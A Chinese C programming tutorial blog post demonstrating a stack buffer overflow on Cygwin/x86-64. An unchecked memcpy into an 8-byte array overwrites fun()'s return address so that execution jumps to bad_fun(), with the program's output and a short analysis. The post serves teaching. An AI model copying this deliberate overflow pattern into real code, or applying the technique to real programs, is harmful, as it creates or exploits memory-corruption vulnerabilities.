C语言高级编程:利用堆栈溢出修改函数返回地址

利用函数堆栈溢出,修改函数返回地址,进而调用别的函数。

 

测试环境:

win10 x86-64

gcc: x86_64-pc-cygwin

 

 

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int len;
typedef void ( * p_fun)(void);


void fun(const char* input, int size)
{
    char buf[8];

    memcpy(buf, input, size);
    printf("\nAddress of param=%p\n",&input);
    printf("Address of ret=%p\n",*(&input-1));
    printf("Address of local value=%p\n",buf);

    len=(long)&input-(long)buf;    //计算从local variable到fun param的长度
    printf("i am in fun\n");
}

void bad_fun()
{
    printf("\nok, i did it.\n");
}


int main(int argc, char* argv[])
{
    int addr[8] = {0};
    char s[] = "cal len";
    long go = (long)bad_fun;
    char ss[100] = {0};


    fun(s, sizeof(s));
  
     //((p_fun)go)();
    printf("len = %d\n", len);

    printf("Address of fun=%p\n", fun);
    printf("Address of bad_fun=%p\n", bad_fun);
    printf("Address of go=%lx\n", go);

    //把bad_fun()函数的地址分离成字节, 然后储存到ss中
    addr[0]=(go >> 0) & 0xff; addr[1]=(go >> 8) & 0xff; addr[2]=(go >> 16) & 0xff;  addr[3]=(go >> 24) & 0xff;
    addr[4]=(go >> 32) & 0xff; addr[5]=(go >> 40) & 0xff; addr[6]=(go >> 48) & 0xff;  addr[7]=(go >> 56) & 0xff;
    for(int j=0;j<8;j++)
    {
        ss[len-j-1]=addr[7-j];
    }
    
    fun(ss, len);
    printf("test end.\n");    //由于函数返回地址被修改,此代码不被执行
    return 0;
}

 

执行结果:

λ .\a.exe

Address of param=0xffffcb10
Address of ret=0x10040120c
Address of local value=0xffffcaf8
i am in fun
Address of fun=0x1004010e0
Address of bad_fun=0x10040116d
Address of go=10040116d

Address of param=0xffffcb10
Address of ret=0x10040116d
Address of local value=0xffffcaf8
i am in fun

ok, i did it.

可见看到通过对fun函数返回地址的修改,成功执行了bad_fun()

 

分析:

1)要实现本功能主要要实现以下两点:

  • 计算fun函数入参input到fun局部变量buf的长度(字节),由此便可以知道返回返回地址相对于buf的偏移,因为ret地址就在函数入参input的下方

  • 利用buf数组来修改ret地址

2)测试系统为小端模式

3)测试系统为64位,所以需要注意函数地址为64位(8字节长),而不是32位。另外寄存器也是8字节长。

4)堆栈结构如下

 

 

 

 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hello_courage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值